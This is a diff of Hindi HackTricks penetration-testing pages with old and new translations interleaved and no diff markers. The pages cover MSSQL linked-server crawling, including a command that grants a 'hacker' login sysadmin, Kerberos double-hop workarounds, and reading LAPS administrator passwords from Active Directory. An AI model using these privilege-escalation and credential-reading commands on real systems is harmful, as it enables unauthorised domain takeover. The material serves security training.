आप मेटास्प्लॉइट का उपयोग करके आसानी से विश्वसनीय लिंक की जांच कर सकते हैं।
```bash
@ -128,26 +135,26 @@ msf> use exploit/windows/mssql/mssql_linkcrawler
**विंडोज** से आप भी [**HeidiSQL**](https://www.heidisql.com) जैसे **MSSQL क्लाइंट** का उपयोग करके लिंक्स खोज सकते हैं और कमांड्स को मैन्युअल रूप से चला सकते हैं।
_विंडोज प्रमाणीकरण का उपयोग करके लॉगिन:_
_Windows प्रमाणीकरण का उपयोग करके लॉगिन:_
![](<../../.gitbook/assets/image (167) (1).png>)
![](<../../.gitbook/assets/image (805).png>)
```sql
select * from master..sysservers;
EXEC sp_linkedservers;
```
![](<../../.gitbook/assets/image (168).png>)
![](<../../.gitbook/assets/image (713).png>)
#### विश्वसनीय लिंक में क्वेरी चलाएं
लिंक के माध्यम से क्वेरी चलाएं (उदाहरण: नए पहुंचने योग्य इंस्टेंस में अधिक लिंक खोजें):
लिंक के माध्यम से क्वेरी चलाएं (उदाहरण: नए पहुंचने योग्य उदाहरण में अधिक लिंक खोजें):
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
{% hint style="warning" %}
जांचें कि कहाँ डबल और एकल उद्धरण का उपयोग किया गया है, इसे उसी तरह से उपयोग करना महत्वपूर्ण है।
जांचें कि कहाँ डबल और सिंगल कोट्स का उपयोग किया गया है, इसे उसी तरह से उपयोग करना महत्वपूर्ण है।
{% endhint %}
![](<../../.gitbook/assets/image (169).png>)
![](<../../.gitbook/assets/image (640).png>)
आप इन विश्वसनीय लिंक श्रृंखलाओं को हाथ से सदैव जारी रख सकते हैं।
```sql
@ -167,8 +174,24 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
```
## स्थानीय विशेषाधिकार उन्नयन
**MSSQL स्थानीय उपयोगकर्ता** आम तौर पर एक विशेष प्रकार की विशेषाधिकार के साथ होता है जिसे **`SeImpersonatePrivilege`** कहा जाता है। यह खाता "प्रमाणीकरण के बाद एक ग्राहक का अनुकरण करने" की अनुमति देता है।
**MSSQL स्थानीय उपयोगकर्ता** के पास आम तौर पर एक विशेष प्रकार की विशेषाधिकार होती है जिसे **`SeImpersonatePrivilege`** कहा जाता है। यह खाता "प्रमाणीकरण के बाद एक ग्राहक का अनुकरण करने" की अनुमति देता है।
एक रणनीति जिसे कई लेखक ना है, वह है कि एक SYSTEM सेवा को एक धूर्त या मध्यस्थ सेवा के साथ प्रमाणीकरण करने के लिए मजबूर किया जाए। इसके बाद यह धूर्त सेवा सिस्टम सेवा का अनुकरण कर सकती है जब वह प्रमाणीकरण करने की कोशिश कर रही हो।
एक रणनीति जिसे कई लेखकोंे विकसित किया है, वह है कि एक SYSTEM सेवा को एक धूर्त या मध्यस्थ सेवा के लिए प्रमाणीकरण करने के लिए मजबूर किया जाए। फिर यह धूर्त सेवा सिस्टम सेवा का अनुकरण कर सकती है जब वह प्रमाणीकरण करने की कोशिश कर रही हो।
[SweetPotato](https://github.com/CCob/SweetPotato) में इन विभिन्न तकनीकों का संग्रह है जो Beacon के `execute-assembly` कमांड के माध्यम से क्रियान्वित किए जा सकते हैं।
[SweetPotato](https://github.com/CCob/SweetPotato) के पास इन विभिन्न तकनीकों का संग्रह है जो Beacon के `execute-assembly` कमांड के माध्यम से क्रियान्वित किए जा सकते हैं।
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो में पीआर जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)।
</details>

File diff suppressed because one or more lines are too long

View file

@ -4,39 +4,43 @@
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने** की इच्छा रखते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**.
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## परिचय
कर्बेरोस "डबल हॉप" समस्या उत्पन्न होती है जब एक हमलावर को **कर्बेरोस प्रमाणीकरण का उपयोग करके दो** **हॉप** के माध्यम से उपयोग करने की कोशिश करता है, उदाहरण के लिए **PowerShell**/**WinRM** का उपयोग करके।
कर्बेरोस "डबल हॉप" समस्या उत्पन्न होती है जब एक हमलावर को **कर्बेरोस प्रमाणीकरण का उपयोग करके दो हॉप** के माध्यम से कोशिश करता है, उदाहरण के लिए **PowerShell**/**WinRM** का उपयोग करके।
जब **कर्बेरोस** के माध्यम से **प्रमाणीकरण** होता है, **क्रेडेंशियल्स** **मेमोरी में कैश नहीं होत** हैं। इसलिए, यदि आप mimikatz चलाते हैं तो आपको प्रयोक्ता के क्रेडेंशियल्स मिलेंगे नहीं भी अगर वह प्रक्रियाएँ चला रहा है
जब **कर्बेरोस** के माध्यम से **प्रमाणीकरण** होता है, **क्रेडेंशियल** **मेमोरी में कैश नहीं होत** हैं। इसलिए, यदि आप mimikatz चलाते हैं तो आपको प्रयोक्ता के क्रेडेंशियल मशीन में नहीं मिलेंगे भले ही वह प्रक्रियाएँ चला रहा हो
यह इसलिए है क्योंकि कर्बेरोस के साथ कनेक्ट करते समय ये कदम होते हैं:
1. प्रयोक्ता1 क्रेडेंशियल्स प्रदान करता है और **डोमेन कंट्रोलर** प्रयोक्ता1 को एक कर्बेरोस **TGT** लौटाता है।
2. प्रयोक्ता1 **TGT** का उपयोग करके **सेवा टिकट** का अनुरोध करता है **कनेक्ट** करने के लिए Server1 से
3. प्रयोक्ता1 **Server1** से **कनेक्ट** करता है और **सेवा टिकट** प्रदान करता है।
4. **Server1** में **प्रयोक्ता1** के **क्रेडेंशियल्स** या **TGT** नहीं होते हैं। इसलिए, जब Server1 से प्रयोक्ता1 दूसरे सर्वर में लॉगिन करने की कोशिश करता है, वह **प्रमाणीकरण करने में सक्षम नहीं होता** है।
1. प्रयोक्ता1 क्रेडेंशियल प्रदान करता है और **डोमेन कंट्रोलर** प्रयोक्ता1 को एक कर्बेरोस **TGT** लौटाता है।
2. प्रयोक्ता1 **TGT** का उपयोग करके **सेवा टिकट** का अनुरोध करता है **सर्वर1** से **कनेक्ट** करने के लिए।
3. प्रयोक्ता1 **सर्वर1** से **कनेक्ट** करता है और **सेवा टिकट** प्रदान करता है।
4. **सर्वर1** में प्रयोक्ता1 के **क्रेडेंशियल** या **TGT** कैश नहीं हैं। इसलिए, जब प्रयोक्ता1 सर्वर1 से दूसरे सर्वर में लॉगिन करने की कोशिश करता है, वह **प्रमाणीकरण करने में सक्षम नहीं होता** है।
### असीमित अधिकार
यदि PC में **असीमित अधिकार** सक्षम है, तो यह नहीं होगा क्योंकि **सर्वर** को उसे एक उपयोगकर्ता का **TGT** प्राप्त होगा जो इसका उपयोग कर रहा है। इसके अतिरिक्त, यदि असीमित अधिकार का उपयोग किया जाता है तो आप शायद इससे **डोमेन कंट्रोलर को कंप्रोमाइज** कर सकते हैं।\
[**असीमित अधिकार पृष्ठ में अधिक जानकारी**](unconstrained-delegation.md)
यदि PC में **असीमित अधिकार** सक्षम है, तो यह नहीं होगा क्योंकि **सर्वर** को उसे एक उपयोगकर्ता का **TGT** प्राप्त होगा जो इसे एक्सेस कर रहा है। इसके अतिरिक्त, यदि असीमित अधिकार का उपयोग किया जाता है तो आप शायद इससे **डोमेन कंट्रोलर को कंप्रोमाइज** कर सकते हैं।\
[**असीमित अधिकार पृष्ठ में अधिक जानकारी**](unconstrained-delegation.md).
### CredSSP
इस समस्या से बचने का एक और तरीका जो [**विशेष रूप से असुरक्षित है**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) है **Credential Security Support Provider**Microsoft से:
इस समस्या से बचने का एक और तरीका जो [**विशेष रूप से असुरक्षित है**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) है **Credential Security Support Provider**माइक्रोसॉफ्ट से:
> CredSSP प्रमाणीकरण स्थानीय कंप्यूटर से दूरस्थ कंप्यूटर को उपयोगकर्ता क्रेडेंशियल्स को सौंपता है। यह अभ्यास दूरस्थ संचालन का सुरक्षा जोखिम बढ़ाता है। यदि दूरस्थ कंप्यूटर को कंप्रोमाइज किया जाता है, जब क्रेडेंशियल्स उसे पारित किए जाते हैं, तो उन क्रेडेंशियल्स का नेटवर्क सत्र को नियंत्रित करने के लिए उपयोग किया जा सकता है।
> CredSSP प्रमाणीकरण स्थानीय कंप्यूटर से रिमोट कंप्यूटर को उपयोगकर्ता क्रेडेंशियल अनुप्रेषित करता है। यह अभ्यास रिमोट संचालन का सुरक्षा जोखिम बढ़ाता है। यदि रिमोट कंप्यूटर को कंप्रोमाइज किया जाता है, जब क्रेडेंशियल उसे पास किए जाते हैं, तो उन क्रेडेंशियल का नेटवर्क सत्र नियंत्रण करने के लिए उपयोग किया जा सकता है।
सुरक्षा संबंधी चिंताओं के कारण सुझाव दिया जाता है कि **CredSSP** को उत्पादन सिस्टम, संवेदनशील नेटवर्क और समान परिवेशों पर अक्षम किया जाए**CredSSP** सक्षम है या नहीं, यह निर्धारित करने के लिए `Get-WSManCredSSP` कमांड चलाया जा सकता है। यह कमांड **CredSSP स्थिति की जांच** करने की अनुमति देता है और यहाँ तक कि यह दूरस्थ रूप से निष्पादित किया जा सकता है, प्रावधान है कि **WinRM** सक्षम हो।
उत्पादन सिस्टम, संवेदनशील नेटवर्क और समान परिवेशों में सुरक्षा संबंधित चिंताओं के कारण **CredSSP** को अक्षम करना अत्यंत सिफारिश किया जाता है**CredSSP** सक्षम है या नहीं, यह निर्धारित करने के लिए, `Get-WSManCredSSP` कमांड चलाया जा सकता है। यह कमांड **CredSSP स्थिति की जांच** करने की अनुमति देता है और यहाँ तक कि यह दूरस्थ से निष्पादित किया जा सकता है, प्रावधान है कि **WinRM** सक्षम हो।
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
@ -44,18 +48,18 @@ Get-WSManCredSSP
```
## उपाय
### आदेश आवाहन
### आवाहन कमांड
डबल हॉप समस्या का समाधान करने के लिए, एक तरीका एक नेस्टेड `Invoke-Command` का उपयोग करने का प्रस्तावित है। यह समस्या सीधे हल नहीं करता है लेकिन विशेष विन्यास की आवश्यकता न होने पर एक उपाय प्रदान करता है। यह दृष्टिकोण एक आदेश (`होस्टनाम`) को एक द्वितीय सर्वर पर एक्जीक्यूट करने की अनुमति देता है जो एक पहले हमले वाली मशीन से एक पावरशेल आदेश के माध्यम से या पहले सर्वर के साथ पहले स्थापित PS-सत्र के माध्यम से किया जा सकता है। यहाँ देखें कि यह कैसे किया जाता है:
डबल हॉप समस्या का समाधान करने के लिए, एक nested `Invoke-Command` का एक तरीका प्रस्तुत किया गया है। यह समस्या सीधे हल नहीं करता है लेकिन विशेष विन्यास की आवश्यकता न होने पर एक उपाय प्रदान करता है। यह दृष्टिकोण एक कमांड (`hostname`) को एक द्वितीय सर्वर पर क्रियान्वित करने की अनुमति देता है जो एक पहले हमले वाली मशीन से या पहले सर्वर के साथ पहले स्थापित PS-Session के माध्यम से एक्जीक्यूट किया जा सकता है। यहाँ देखें कैसे किया जाता है:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### पीएस-सत्र कॉन्फ़िगरेशन पंजीकरण
### पीएससत्र कॉन्फ़िगरेशन पंजीकरण
डबल हॉप समस्या को अनदेखा करने का एक समाधान `Register-PSSessionConfiguration` का उपयोग `Enter-PSSession` के साथ करना है। यह विधि `evil-winrm` से भिन्न दृष्टिकोण आवश्यक करती है और डबल हॉप सीमा से पीड़ित नहीं होने वाला एक सत्र करने की अनुमति देती है।
डबल हॉप समस्या को अनदेखा करने का एक समाधान `Register-PSSessionConfiguration` का उपयोग `Enter-PSSession` के साथ करना है। यह विधि `evil-winrm` से भिन्न दृष्टिकोण आवश्यक करती है और डबल हॉप सीमा से पीड़ित नहीं होने वाली सत्र की अनुमति देती है।
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
@ -64,26 +68,26 @@ klist
```
### पोर्ट फॉरवर्डिंग
एक बाध्य लक्ष्य पर स्थानीय प्रशासकों के लिए, पोर्ट फॉरवर्डिंग अंतिम सर्वर को भेजने की अनुमति देता है। `netsh` का उपयोग करके, एक नियम पोर्ट फॉरवर्डिंग के लिए जोड़ा जा सकता है, साथ ही एक Windows फ़ायरवॉल नियम भी जोड़ा जा सकता है जो फॉरवर्ड किए गए पोर्ट को अनुमति देने के लिए
एक बाध्य लक्ष्य पर स्थानीय प्रशासकों के लिए, पोर्ट फॉरवर्डिंग अंतिम सर्वर को भेजने की अनुरोधों को भेजने की अनुमति देता है। `netsh` का उपयोग करके, एक नियम पोर्ट फॉरवर्डिंग के लिए जोड़ा जा सकता है, साथ ही एक Windows फ़ायरवॉल नियम भी जोड़ा जा सकता है जिससे फॉरवर्ड किए गए पोर्ट को अनुमति दी जा सकती है
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe` का उपयोग WinRM अनुरोधों को आगे भेजने के लिए किया जा सकता है, यदि PowerShell मॉनिटरिंग एक चिंता है तो यह एक कम पता चलने वाला विकल्प हो सकता है। नीचे दिए गए कमांड का उपयोग इसका प्रदर्शन करता है:
`winrs.exe` का उपयोग WinRM अनुरोधों को आगे भेजने के लिए किया जा सकता है, संभावित रूप से एक कम संवेदनशील विकल्प अगर PowerShell मॉनिटरिंग एक चिंता है। नीचे दिए गए कमांड का उपयोग दिखाता है:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
पहले सर्वर पर OpenSSH इंस्टॉल करने से डबल हॉप समस्या का एक workaround सक्रिय हो जाता है, विशेष रूप से जंप बॉक्स स्थितियों के लिए उपयोगी। इस विधि में CLI इंस्टॉलेशन और Windows के लिए OpenSSH की सेटअप की आवश्यकता होती है। जब पासवर्ड प्रमाणीकरण के लिए कॉन्फ़िगर किया जाता है, तो इससे अंतरिक्ष सर्वर को उपयोगकर्ता के पक्ष में एक TGT प्राप्त करने की अनुमति होती है।
पहले सर्वर पर OpenSSH इंस्टॉल करने से डबल हॉप समस्या के लिए एक workaround सक्षम होता है, जो जंप बॉक्स स्थितियों के लिए विशेष रूप से उपयोगी है। इस विधि में CLI इंस्टॉलेशन और Windows के लिए OpenSSH की सेटअप की आवश्यकता होती है। जब पासवर्ड प्रमाणीकरण के लिए कॉन्फ़िगर किया जाता है, तो इससे अंतरिक्ष सर्वर को उपयोगकर्ता के पक्ष में एक TGT प्राप्त करने की अनुमति होती है।
#### OpenSSH इंस्टॉलेशन कदम
1. नवीनतम OpenSSH रिलीज़ ज़िप डाउनलोड करें और टारगेट सर्वर पर ले जाएं।
2. ज़िप फ़ाइल को अनज़िप करें और `Install-sshd.ps1` स्क्रिप्ट चलाएं।
3. फ़ायरवॉल नियम जोड़ें ताकि पोर्ट 22 खुला हो और SSH सेवाएं चल रही हैं, यह सत्यापित करें।
3. पोर्ट 22 खोलने के लिए फ़ायरवॉल नियम जोड़ें और सत्यापित करें कि SSH सेवाएँ चल रही हैं।
`Connection reset` त्रुटियों को हल करने के लिए, अनुमतियों को अपडेट करने की आवश्यकता हो सकती है ताकि OpenSSH निर्देशिका पर सभी को पढ़ने और क्रियान्वित करने की पहुँच हो।
```bash
@ -96,14 +100,18 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह
* पाएं [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में पीआर जमा करके [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud)
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक पीएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **जुड़ें** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें द्वारा पीआर जमा करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,21 +2,28 @@
<details>
<summary><strong>ानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>ीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके**।
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## मूल जानकारी
लोकल व्यवस्थापक पासवर्ड समाधान (LAPS) एक उपकरण है जो एक ऐसे सिस्टम का प्रबंधन करने के लिए उपयोग किया जाता है जिसमें **व्यवस्थापक पासवर्ड**, जो **अद्वितीय, यादृच्छिक और नियमित रूप से बदलते रहते हैं**, डोमेन-जुड़े कंप्यूटरों पर लागू होते हैं। ये पासवर्ड सुरक्षित रूप से सक्रिय निर्देशिका में संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं तक ही पहुंचने के लिए होते हैं जिन्हें पहुंचने की अनुमति दी गई है एक्सेस कंट्रोल सूची (ACLs) के माध्यम से। क्लाइंट से सर्वर तक पासवर्ड ट्रांसमिशन की सुरक्षा को **करोबेरोस संस्करण 5** और **एडवांस्ड एन्क्रिप्शन स्टैंडर्ड (AES)** का उपयोग करके सुनिश्चित किया जाता है।
लोकल व्यवस्थापक पासवर्ड समाधान (LAPS) एक उपकरण है जो एडमिनिस्ट्रेटर पासवर्ड को प्रबंधित करने के लिए उपयोग किया जाता है, जो **अद्वितीय, यादृच्छिक और नियमित रूप से बदलते** हैं, जो डोमेन-संयुक्त कंप्यूटरों पर लागू होते हैं। ये पासवर्ड सुरक्षित रूप से एक्टिव डायरेक्टरी में संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं तक ही पहुंचने के लिए उपयोगकर्ताओं को पहुंचाया गया है जिन्हें पहुंचने की अनुमति प्राप्त कराई गई है एक्सेस कंट्रोल सूची (ACLs) के माध्यम से। क्लाइंट से सर्वर तक पासवर्ड ट्रांसमिशन की सुरक्षा को **करोबेरोस संस्करण 5** और **एडवांस्ड एन्क्रिप्शन स्टैंडर्ड (AES)**े उपयोग से सुनिश्चित किया जाता है।
डोमेन कंप्यूटर ऑब्ज
एलेपीएस के कार्यान्वयन से डोमेन कंप्यूटर ऑब्जेक्ट्स में दो नए विशेषताएँ जोड़ी जाती हैं: **`ms-mcs-AdmPwd`** और **`ms-mcs-AdmPwdExpirationTime`**। ये विशेषताएँ **सादा-पाठ व्यवस्थापक पासवर्ड** और **इसकी समाप्ति समय** को संग्रहित करती हैं।
### जांचें कि क्या सक्रिय है
```bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
@ -31,7 +38,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
```
### LAPS पासवर्ड एक्सेस
आप **`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`** से **रॉ एलएपीएस नीति डाउनलोड** कर सकते हैं और फिर [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) पैकेज से **`Parse-PolFile`** का उपयोग करके इस फ़ाइल को मानव-पठनीय स्वरूप में परिवर्तित किया जा सकता है।
आप **`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`** से **रॉ LAPS नीति डाउनलोड** कर सकते हैं और फिर [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) पैकेज से **`Parse-PolFile`** का उपयोग इस फ़ाइल को मानव-पठनीय स्वरूप में परिवर्तित करने के लिए किया जा सकता है।
इसके अतिरिक्त, यदि वे किसी मशीन पर स्थापित हैं जिसका हमारे पास पहुंच है, तो **नेटिव LAPS PowerShell cmdlets** का उपयोग किया जा सकता है:
```powershell
@ -65,8 +72,8 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
### LAPSToolkit
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) एलएपीएस की जांच को कई कार्यों के साथ सुविधाजनक बनाता है।
इनमें से एक है **`ExtendedRights`** का **समापन** **लेप्स सक्षम किए गए सभी कंप्यूटरों के लिए**। यह दिखाएगा **समूह** विशेष रूप से **लेप्स पासवर्ड पढ़ने के लिए सम्मत किए गए**, जो अक्सर सुरक्षित समूहों में उपयोगकर्ता होते हैं।
